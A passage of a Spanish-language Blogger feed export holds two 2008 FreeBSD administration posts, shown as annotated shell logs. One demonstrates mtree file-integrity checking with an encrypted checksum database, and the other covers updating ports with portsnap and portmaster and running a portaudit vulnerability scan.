ejemplo, mi numero favorito es el 7, pero cuanto mas compleja sea la semilla, mas seguro sera el checksum&lt;br /&gt;fbsd7# echo Apunta esos 2 numeros, y cifralos&lt;br /&gt;Apunta esos 2 numeros, y cifralos&lt;br /&gt;fbsd7# echo Veamos como es el archivo resultante&lt;br /&gt;Veamos como es el archivo resultante&lt;br /&gt;fbsd7# ls -la /tmp/mtree_usr_bin&lt;br /&gt;-rw-r--r--  1 root  wheel  113311 Nov 17 21:47 /tmp/mtree_usr_bin&lt;br /&gt;fbsd7# file /tmp/mtree_usr_bin&lt;br /&gt;/tmp/mtree_usr_bin: ASCII text&lt;br /&gt;fbsd7# echo Es muy grande para ser de texto, veamos las primeras 15 lineas:&lt;br /&gt;Es muy grande para ser de texto, veamos las primeras 15 lineas:&lt;br /&gt;fbsd7# head -n 15 /tmp/mtree_usr_bin&lt;br /&gt;#          user: vlan7&lt;br /&gt;#       machine: fbsd7.probador.com&lt;br /&gt;#          tree: /usr/bin&lt;br /&gt;#          date: Mon Nov 17 21:47:28 2008&lt;br /&gt;&lt;br /&gt;# .&lt;br /&gt;/set type=file uid=0 gid=0 mode=0555 nlink=1 flags=none&lt;br /&gt;.               type=dir mode=0755 nlink=2 size=7168 time=1226802429.0&lt;br /&gt;    CC          nlink=3 size=172896 time=1203875470.0 cksum=416819826 \&lt;br /&gt;                md5digest=9f7de49c50113c6dd8f8a9df5fe5241b \&lt;br /&gt;                sha1digest=3f0395e526dc6eda86db1213096d56388350536b \&lt;br /&gt;                ripemd160digest=76c6dd731c6c44648d4094328a88b42cda24c636&lt;br /&gt;    Mail        nlink=3 size=78976 time=1203875563.0 cksum=2798507066 \&lt;br /&gt;                md5digest=0f58337d044fce0ed7a3c822c2720c6f \&lt;br /&gt;                sha1digest=1519b7ef0dcd7cf209ed4730e247ecc010317366 \&lt;br /&gt;fbsd7# echo el /set es la mas importante, guarda seguimiento de todas las propiedades de un archivo&lt;br /&gt;el /set es la mas importante, guarda seguimiento de todas las propiedades de un archivo&lt;br /&gt;fbsd7# echo Firmamos el archivo&lt;br /&gt;Firmamos el archivo&lt;br /&gt;fbsd7# md5 /tmp/mtree_usr_bin&lt;br /&gt;MD5 (/tmp/mtree_usr_bin) = 8f22740592e8a75568673ca43e48b56b&lt;br /&gt;fbsd7# echo Deberias redirigirlo a un archivo o imprimirlo, lo necesitaras luego para chequear la integridad de la bd&lt;br /&gt;Deberias redirigirlo a un archivo o imprimirlo, lo necesitaras luego para chequear la integridad de la bd&lt;br /&gt;fbsd7# echo cifremoslo&lt;br /&gt;cifremoslo&lt;br /&gt;fbsd7# openssl enc -e -bf -in /tmp/mtree_usr_bin -out /tmp/al_usb&lt;br /&gt;enter bf-cbc encryption password:&lt;br /&gt;Verifying - enter bf-cbc encryption password:&lt;br /&gt;fbsd7# echo bf de Blowfish&lt;br /&gt;bf de Blowfish&lt;br /&gt;fbsd7# echo ahora deberiamos mandarlo a un USB y borrarlo, pero esto solo es un juego, asi que sigamos&lt;br /&gt;ahora deberiamos mandarlo a un USB y borrarlo, pero esto solo es un juego, asi que sigamos&lt;br /&gt;fbsd7# echo no hablaremos de borrado seguro ahora, simplemente lo borraremos&lt;br /&gt;no hablaremos de borrado seguro ahora, simplemente lo borraremos&lt;br /&gt;fbsd7# rm /tmp/mtree_usr_bin&lt;br /&gt;fbsd7# echo Vamos a jugar con la integridad de la bd&lt;br /&gt;Vamos a jugar con la integridad de la bd&lt;br /&gt;fbsd7# echo Desciframos&lt;br /&gt;Desciframos&lt;br /&gt;fbsd7# openssl enc -d -bf -in /tmp/al_usb  -out /tmp/mtree_usr_bin&lt;br /&gt;enter bf-cbc decryption password:&lt;br /&gt;fbsd7# comprobamos que no ha sido modificado&lt;br /&gt;comprobamos: Command not found.&lt;br /&gt;fbsd7# echo comprobamos que no ha sido modificado&lt;br /&gt;comprobamos que no ha sido modificado&lt;br /&gt;fbsd7# md5 /tmp/mtree_usr_bin&lt;br /&gt;MD5 (/tmp/mtree_usr_bin) = 8f22740592e8a75568673ca43e48b56b&lt;br /&gt;fbsd7# echo Coincide. El archivo no se ha modificado&lt;br /&gt;Coincide. El archivo no se ha modificado&lt;br /&gt;fbsd7# echo Ahora vamos a ver si algun archivo a auditar del sistema ha sido cambiado&lt;br /&gt;Ahora vamos a ver si algun archivo a auditar del sistema ha sido cambiado&lt;br /&gt;fbsd7# pwd&lt;br /&gt;/usr/bin&lt;br /&gt;fbsd7# mtree -s 7777777 &amp;lt;/tmp/mtree_usr_bin&lt;br /&gt;mtree: /usr/bin checksum: 1905672155&lt;br /&gt;fbsd7# echo Es igual, luego nada ha cambiado&lt;br /&gt;Es igual, luego nada ha cambiado&lt;br /&gt;fbsd7# echo Que pasa si algo cambia?&lt;br /&gt;echo: No match.&lt;br /&gt;fbsd7# echo Que pasa si algo cambia\?&lt;br /&gt;Que pasa si algo cambia?&lt;br /&gt;fbsd7# echo Y que cambiamos de forma elegante sin backup\?&lt;br /&gt;Y que cambiamos de forma elegante sin backup?&lt;br /&gt;fbsd7# echo Vamos a cambiar cualquier tonteria. Bluetooth. Yo no uso bluetooth para nada. Cambiaremos un archivo que me dijo un folk y luego desharemos los cambios&lt;br /&gt;Vamos a instalar cualquier tonteria. Bluetooth. Yo no uso bluetooth para nada. Cambiaremos un archivo que me dijo un folk y luego desharemos los cambios&lt;br /&gt;fbsd7# ls btso*&lt;br /&gt;btsockstat&lt;br /&gt;fbsd7# mv btsockstat btsockstat2&lt;br /&gt;fbsd7# echo Ahora vamos a ver si mtree se ha dado cuenta&lt;br /&gt;Ahora vamos a ver si mtree se ha dado cuenta&lt;br /&gt;fbsd7# mtree -s 7777777 &amp;lt;/tmp/mtree_usr_bin&lt;br /&gt;. changed&lt;br /&gt;        modification time expected Sun Nov 16 03:27:09 2008 found Mon Nov 17 22:37:57 2008&lt;br /&gt;btsockstat2 extra&lt;br /&gt;mtree: /usr/bin checksum: 1394213982&lt;br /&gt;./btsockstat missing&lt;br /&gt;fbsd7# echo Ahi estamos :\)&lt;br /&gt;Ahi estamos :)&lt;br /&gt;fbsd7# echo Directorios importantes en un FreeBSD serian&lt;br /&gt;Directorios importantes en un FreeBSD serian&lt;br /&gt;fbsd7# echo /bin&lt;br /&gt;/bin&lt;br /&gt;fbsd7# echo /sbin&lt;br /&gt;/sbin&lt;br /&gt;fbsd7# echo /usr/bin&lt;br /&gt;/usr/bin&lt;br /&gt;fbsd7# echo /usr/sbin&lt;br /&gt;/usr/sbin&lt;br /&gt;fbsd7# echo /usr/local/bin&lt;br /&gt;/usr/local/bin&lt;br /&gt;fbsd7# echo /usr/X11R6/bin&lt;br /&gt;/usr/X11R6/bin&lt;br /&gt;fbsd7# echo ah y dejamos todo como antes, aunque jamas lo use&lt;br /&gt;ah y dejamos todo como antes, aunque jamas lo use&lt;br /&gt;fbsd7# mv btsockstat2 btsockstat&lt;br /&gt;fbsd7#&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-3394180527335393274?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=3394180527335393274' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/3394180527335393274'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/3394180527335393274'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/11/freebsd-integridad-de-archivos.html' title='FreeBSD. Integridad de archivos.'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-255701265311407532</id><published>2008-11-17T18:24:00.003+01:00</published><updated>2010-07-16T17:47:17.600+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freeBSD'/><title type='text'>FreeBSD. Jugando con ports y paquetes. Instalacion, actualizacion, auditoria de seguridad</title><content type='html'>Un log para entenderme a mi mismo:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[vlan7@fbsd7 /usr/home/vlan7]$ su -&lt;/b&gt;&lt;br /&gt;Password:&lt;br /&gt;&lt;b&gt;fbsd7# portsnap fetch&lt;/b&gt;&lt;br /&gt;Looking up portsnap.FreeBSD.org mirrors... 3 mirrors found.&lt;br /&gt;Fetching public key from portsnap2.FreeBSD.org... done.&lt;br /&gt;Fetching snapshot tag from portsnap2.FreeBSD.org... done.&lt;br /&gt;Fetching snapshot metadata... done.&lt;br /&gt;Fetching snapshot generated at Sun Nov 16 01:27:21 CET 2008:&lt;br /&gt;04a7c3f4f00bb46d78ffad9bd8cf1998afe982e7e72759100% of   54 MB  164 kBps 00m00s&lt;br /&gt;Extracting snapshot... done.&lt;br /&gt;Verifying snapshot integrity... done.&lt;br /&gt;Fetching snapshot tag from portsnap2.FreeBSD.org... done.&lt;br /&gt;Fetching snapshot metadata... done.&lt;br /&gt;Updating from Sun Nov 16 01:27:21 CET 2008 to Mon Nov 17 01:29:14 CET 2008.&lt;br /&gt;Fetching 3 metadata patches.. done.&lt;br /&gt;Applying metadata patches... done.&lt;br /&gt;Fetching 0 metadata files... done.&lt;br /&gt;Fetching 44 patches.....10....20....30....40.. done.&lt;br /&gt;Applying patches... done.&lt;br /&gt;Fetching 8 new ports or files... done.&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;Esto nos ha guardado un snapshot comprimido de los ports aqui:&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;fbsd7# ls /var/db/portsnap/&lt;/b&gt;&lt;br /&gt;INDEX                   files                   pub.ssl                 serverlist              serverlist_full         serverlist_tried        tINDEX                  tag&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;El siguiente comando solo lo tenemos que hacer la primera vez que corremos portsnap, despues siempre el proximo comando a este:&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;fbsd7# portsnap extract&lt;/b&gt;&lt;br /&gt;/usr/ports/.cvsignore&lt;br /&gt;(...)&lt;br /&gt;/usr/ports/x11/zenity/&lt;br /&gt;Building new INDEX files... done.&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;Y de ahora en adelante cada vez que queramos actualizar, solo tendriamos que hacer el fetch y el siguiente comando:&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;fbsd7# portsnap update&lt;/b&gt;&lt;br /&gt;Ports tree is already up to date.&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;Vamos a ver si hay nuevas versiones para algo que tengamos&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;fbsd7# portmaster -L | egrep -i -B1 'new version|aborting|installed|dependencies' | grep -v '^--' | egrep -i 'bitchx|kde'&lt;/b&gt;&lt;br /&gt;===&gt;&gt;&gt; kdeaccessibility-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdeaccessibility-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdeadmin-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdeadmin-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdeartwork-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdeartwork-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdebase-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdebase-3.5.10_1&lt;br /&gt;===&gt;&gt;&gt; kdebase-kompmgr-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdebase-kompmgr-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdeedu-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdeedu-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdegames-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdegames-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdegraphics-3.5.8_1&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdegraphics-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdelibs-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdelibs-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdemultimedia-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdemultimedia-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdenetwork-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdenetwork-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdepim-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdepim-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdesdk-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdesdk-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdetoys-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdetoys-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdeutils-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdeutils-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdevelop-3.5.0&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdevelop-3.5.3&lt;br /&gt;===&gt;&gt;&gt; kdewebdev-3.5.8,2&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdewebdev-3.5.10,2&lt;br /&gt;===&gt;&gt;&gt; BitchX-1.1.0.1&lt;br /&gt;        ===&gt;&gt;&gt; New version available: BitchX-1.1.0.1_3&lt;br /&gt;===&gt;&gt;&gt; es-kde-i18n-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: es-kde-i18n-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kde-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kde-3.5.10&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;tenemos un nuevo paquete de idiomas de kde, pero podria romper cosas si no instalamos la ultima version de KDE, lo cual durara bastante, asi que actualizaremos BitchX&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;fbsd7# portmaster -b BitchX-1.1.0.1&lt;/b&gt;&lt;br /&gt;===&gt;&gt;&gt; Port to upgrade: BitchX-1.1.0.1&lt;br /&gt;===&gt;&gt;&gt; Port directory: /usr/ports/irc/bitchx&lt;br /&gt;===&gt;&gt;&gt; Gathering distinfo list for installed ports&lt;br /&gt;===&gt;&gt;&gt; Launching 'make checksum' for irc/bitchx in background&lt;br /&gt;cd /usr/ports/irc/bitchx &amp;&amp; make config;&lt;br /&gt;                                                                                   ??????????????????????????????????????????????????????????????????????&lt;br /&gt;                                                                                   ?                   Options for BitchX 1.1.0.1_3                     ?&lt;br /&gt;                                                                                   ? ?????????????????????????????????????????????????????????????????? ?&lt;br /&gt;&lt;br /&gt;(...)                                                                                   ? ?[ ] &lt;br /&gt;===&gt;&gt;&gt; Starting check for runtime dependencies&lt;br /&gt;===&gt;&gt;&gt; Gathering dependency list for irc/bitchx from ports&lt;br /&gt;===&gt;&gt;&gt; Starting dependency check&lt;br /&gt;===&gt;&gt;&gt; Dependency check complete for irc/bitchx&lt;br /&gt;&lt;br /&gt;===&gt;  Cleaning for BitchX-1.1.0.1_3&lt;br /&gt;&lt;br /&gt;===&gt;&gt;&gt; Upgrade for BitchX-1.1.0.1 to BitchX-1.1.0.1_3 succeeded&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;Por defecto portmaster guarda backups de todo lo que modifica. Y si todo va bien, los borra.&lt;br /&gt;&lt;br /&gt;Especificando la opcion -b lo que conseguimos es que no los borre, que es lo ideal, poder probar los paquetes unos dias por lo menos&lt;br /&gt;&lt;br /&gt;Los backups los guarda aqui:&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;fbsd7# ls /usr/ports/packages/portmaster-backup&lt;/b&gt;&lt;br /&gt;bash-3.2.25.tbz         gettext-0.16.1_3.tbz    libtool-1.5.24.tbz      png-1.2.22.tbz&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;Si quisieramos volver atras...&lt;br /&gt;...&lt;br /&gt;vamos a arriesgarnos y a instalar el paquete para castellanizar KDE, e inmediatamente volveremos atras&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;fbsd7# history |tail -15&lt;/b&gt;&lt;br /&gt;   124  3:08    portsnap -L | grep -i bitchx&lt;br /&gt;   125  3:08    portsnap -L&lt;br /&gt;   126  3:10    portmaster -L | egrep -i -B1 'new version|aborting|installed|dependencies' | grep -v '^--' | egrep -i 'bitchx|kde'&lt;br /&gt;   127  3:12    echo tenemos un nuevo paquete de idiomas de kde, pero podria romper cosas si no instalamos la ultima version de KDE, lo cual durara bastante, asi que actualizaremos BitchX&lt;br /&gt;   128  3:13    portmaster -b BitchX-1.1.0.1&lt;br /&gt;   129  3:30    echo Por defecto portmaster guarda backups de todo lo que modifica&lt;br /&gt;   130  3:30    echo y si todo va bien, los borra.&lt;br /&gt;   131  3:31    echo Especificando la opcion -b lo que conseguimos es que no los borre, que es lo ideal, poder probar los paquetes unos dias por lo menos&lt;br /&gt;   132  3:31    echo Los backups los guarda aqui:&lt;br /&gt;   133  3:31    ls /usr/ports/packages/portmaster-backup&lt;br /&gt;   134  3:32    Si quisieramos volver atras...&lt;br /&gt;   135  3:32    echo Si quisieramos volver atras...&lt;br /&gt;   136  3:32    echo ...&lt;br /&gt;   137  3:33    echo vamos a arriesgarnos y a instalar el paquete para castellanizar KDE, e inmediatamente volveremos atras&lt;br /&gt;   138  3:33    history | tail -15&lt;br /&gt;&lt;b&gt;fbsd7# !126&lt;/b&gt;&lt;br /&gt;portmaster -L | egrep -i -B1 'new version|aborting|installed|dependencies' | grep -v '^--' | grep -i kde&lt;br /&gt;===&gt;&gt;&gt; kdeaccessibility-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdeaccessibility-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdeadmin-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdeadmin-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdeartwork-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdeartwork-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdebase-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdebase-3.5.10_1&lt;br /&gt;===&gt;&gt;&gt; kdebase-kompmgr-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdebase-kompmgr-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdeedu-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdeedu-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdegames-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdegames-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdegraphics-3.5.8_1&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdegraphics-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdelibs-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdelibs-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdemultimedia-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdemultimedia-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdenetwork-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdenetwork-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdepim-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdepim-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdesdk-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdesdk-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdetoys-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdetoys-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdeutils-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdeutils-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kdevelop-3.5.0&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdevelop-3.5.3&lt;br /&gt;===&gt;&gt;&gt; kdewebdev-3.5.8,2&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kdewebdev-3.5.10,2&lt;br /&gt;===&gt;&gt;&gt; es-kde-i18n-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: es-kde-i18n-3.5.10&lt;br /&gt;===&gt;&gt;&gt; kde-3.5.8&lt;br /&gt;        ===&gt;&gt;&gt; New version available: kde-3.5.10&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;Asi se llamaba: es-kde-il8n-3.5.10. Vamos a instalarlo&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;fbsd7# portmaster -b es-kde-i18n-3.5.8&lt;/b&gt;&lt;br /&gt;===&gt;&gt;&gt; Port to upgrade: es-kde-i18n-3.5.8&lt;br /&gt;===&gt;&gt;&gt; Port directory: /usr/ports/misc/kde3-i18n-es&lt;br /&gt;===&gt;&gt;&gt; Gathering distinfo list for installed ports&lt;br /&gt;===&gt;&gt;&gt; Launching 'make checksum' for misc/kde3-i18n-es in background&lt;br /&gt;===&gt;&gt;&gt; Gathering dependency list for misc/kde3-i18n-es from ports&lt;br /&gt;===&gt;&gt;&gt; Starting recursive 'make config' check&lt;br /&gt;===&gt;&gt;&gt; Launching child to update qt-3.3.8_6&lt;br /&gt;&lt;br /&gt;===&gt;&gt;&gt; Port to upgrade: qt-3.3.8_6&lt;br /&gt;===&gt;&gt;&gt; Port directory: /usr/ports/x11-toolkits/qt33&lt;br /&gt;===&gt;&gt;&gt; Launching 'make checksum' for x11-toolkits/qt33 in background&lt;br /&gt;cd /usr/ports/x11-toolkits/qt33 &amp;&amp; make config;&lt;br /&gt;&lt;br /&gt;(...)&lt;br /&gt;&lt;br /&gt;===&gt;&gt;&gt; Done displaying pkg-message files&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;Ha tardado unas 8 horas. Vamos a ver si nos ha dejado los archivos de backup en su sitio:&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;fbsd7# ls /usr/ports/packages/portmaster-backup&lt;/b&gt;&lt;br /&gt;bash-3.2.25.tbz         gettext-0.16.1_3.tbz    libtool-1.5.24.tbz      png-1.2.22.tbz&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;Vemos que root no tiene acentos ni enyes, pero es porque no esta en la clase spanish&lt;br /&gt;&lt;br /&gt;Habria que anyadir la localizacion a la clase propia del root, que es una clase sin ninguna restriccion&lt;br /&gt;&lt;br /&gt;Si lo ligaramos a la clase spanish, lo ligariamos a la clase default tambien, y eso para root jamas&lt;br /&gt;&lt;br /&gt;vamos a actualizar un paquetito pequeño&lt;br /&gt;&lt;br /&gt;uno de los de seguridad&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[root@fbsd7 ~]# portaudit -Fda&lt;/b&gt;&lt;br /&gt;auditfile.tbz                                 100% of   51 kB   44 kBps&lt;br /&gt;New database installed.&lt;br /&gt;Database created: lunes, 17 de noviembre de 2008, 08:10:01 CET&lt;br /&gt;Affected package: net-snmp-5.3.1_7&lt;br /&gt;Type of problem: net-snmp -- DoS for SNMP agent via crafted GETBULK request.&lt;br /&gt;Reference: &lt;http://www.FreeBSD.org/ports/portaudit/daf045d7-b211-11dd-a987-000c29ca8953.html&gt;&lt;br /&gt;&lt;br /&gt;Affected package: mysql-client-5.0.45_1&lt;br /&gt;Type of problem: mysql -- command line client input validation vulnerability.&lt;br /&gt;Reference: &lt;http://www.FreeBSD.org/ports/portaudit/4775c807-8f30-11dd-821f-001cc0377035.html&gt;&lt;br /&gt;&lt;br /&gt;Affected package: ruby-1.8.6.111_1,1&lt;br /&gt;Type of problem: ruby -- multiple vulnerabilities in safe level.&lt;br /&gt;Reference: &lt;http://www.FreeBSD.org/ports/portaudit/c329712a-6b5b-11dd-9d79-001fc61c2a55.html&gt;&lt;br /&gt;&lt;br /&gt;Affected package: ruby-1.8.6.111_1,1&lt;br /&gt;Type of problem: ruby -- DoS vulnerability in WEBrick.&lt;br /&gt;Reference: &lt;http://www.FreeBSD.org/ports/portaudit/f7ba20aa-6b5a-11dd-9d79-001fc61c2a55.html&gt;&lt;br /&gt;&lt;br /&gt;Affected package: ruby-1.8.6.111_1,1&lt;br /&gt;Type of problem: ruby -- DNS spoofing vulnerability.&lt;br /&gt;Reference: &lt;http://www.FreeBSD.org/ports/portaudit/959d384d-6b59-11dd-9d79-001fc61c2a55.html&gt;&lt;br /&gt;&lt;br /&gt;Affected package: poppler-0.6&lt;br /&gt;Type of problem: poppler -- uninitialized pointer.&lt;br /&gt;Reference: &lt;http://www.FreeBSD.org/ports/portaudit/bc20510f-4dd4-11dd-93e7-0211d880e350.html&gt;&lt;br /&gt;&lt;br /&gt;Affected package: ruby-1.8.6.111_1,1&lt;br /&gt;Type of problem: ruby -- multiple integer and buffer overflow vulnerabilities.&lt;br /&gt;Reference: &lt;http://www.FreeBSD.org/ports/portaudit/53802164-3f7e-11dd-90ea-0019666436c2.html&gt;&lt;br /&gt;&lt;br /&gt;Affected package: xorg-server-1.4_4,1&lt;br /&gt;Type of problem: xorg -- multiple vulnerabilities.&lt;br /&gt;Reference: &lt;http://www.FreeBSD.org/ports/portaudit/800e8bd5-3acb-11dd-8842-001302a18722.html&gt;&lt;br /&gt;&lt;br /&gt;Affected package: vorbis-tools-1.1.1_5,3&lt;br /&gt;Type of problem: vorbis-tools -- Speex header processing vulnerability.&lt;br /&gt;Reference: &lt;http://www.FreeBSD.org/ports/portaudit/633716fa-1f8f-11dd-b143-0211d880e350.html&gt;&lt;br /&gt;&lt;br /&gt;Affected package: gnupg-2.0.4&lt;br /&gt;Type of problem: gnupg -- memory corruption vulnerability.&lt;br /&gt;Reference: &lt;http://www.FreeBSD.org/ports/portaudit/30394651-13e1-11dd-bab7-0016179b2dd5.html&gt;&lt;br /&gt;&lt;br /&gt;Affected package: ghostscript-gpl-8.60&lt;br /&gt;Type of problem: ghostscript -- zseticcspace() function buffer overflow vulnerability.&lt;br /&gt;Reference: &lt;http://www.FreeBSD.org/ports/portaudit/ca8e56d5-e856-11dc-b5af-0017319806e7.html&gt;&lt;br /&gt;&lt;br /&gt;11 problem(s) in your installed packages found.&lt;br /&gt;&lt;br /&gt;You are advised to update or deinstall the affected package(s) immediately.&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;ruby es pequeño, vamos a por el&lt;br /&gt;&lt;br /&gt;Veamos cuanto ocupa y que dependencias tiene&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[root@fbsd7 ~]# pkg_info -rs ruby*&lt;/b&gt;&lt;br /&gt;Information for ruby-1.8.6.111_1,1:&lt;br /&gt;&lt;br /&gt;Depends on:&lt;br /&gt;Package Size:&lt;br /&gt;8357    (1K-blocks)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[root@fbsd7 ~]# portmaster -b ruby-1.8.6.111_1,1&lt;/b&gt;&lt;br /&gt;===&gt;&gt;&gt; Port to upgrade: ruby-1.8.6.111_1,1&lt;br /&gt;===&gt;&gt;&gt; Port directory: /usr/ports/lang/ruby18&lt;br /&gt;===&gt;&gt;&gt; Gathering distinfo list for installed ports&lt;br /&gt;===&gt;&gt;&gt; Launching 'make checksum' for lang/ruby18 in background&lt;br /&gt;cd /usr/ports/lang/ruby18 &amp;&amp; make config;&lt;br /&gt;&lt;br /&gt;     ??????????????????????????????????????????????????????????????????????&lt;br /&gt;     ?                   Options for ruby 1.8.6.287,1                     ?&lt;br /&gt;     ? ?????????????????????????????????????????????????????????????????? ?&lt;br /&gt;     ? ? [ ] PTHREADS   Enable pthreads support (may break some apps)   ? ?&lt;br /&gt;     ? ? [ ] ONIGURUMA  Build with oniguruma regular expressions lib    ? ?&lt;br /&gt;     ? ? [ ] GCPATCH    Build with GC performance statistics collector  ? ?&lt;br /&gt;     ? ? [ ] IPV6       Enable IPv6 support                             ? ?&lt;br /&gt;     ? ? [ ] RDOC       Build and install Rdoc indexes                  ? ?&lt;br /&gt;     ? ? [ ] DEBUG      Compile-in debug info                           ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? 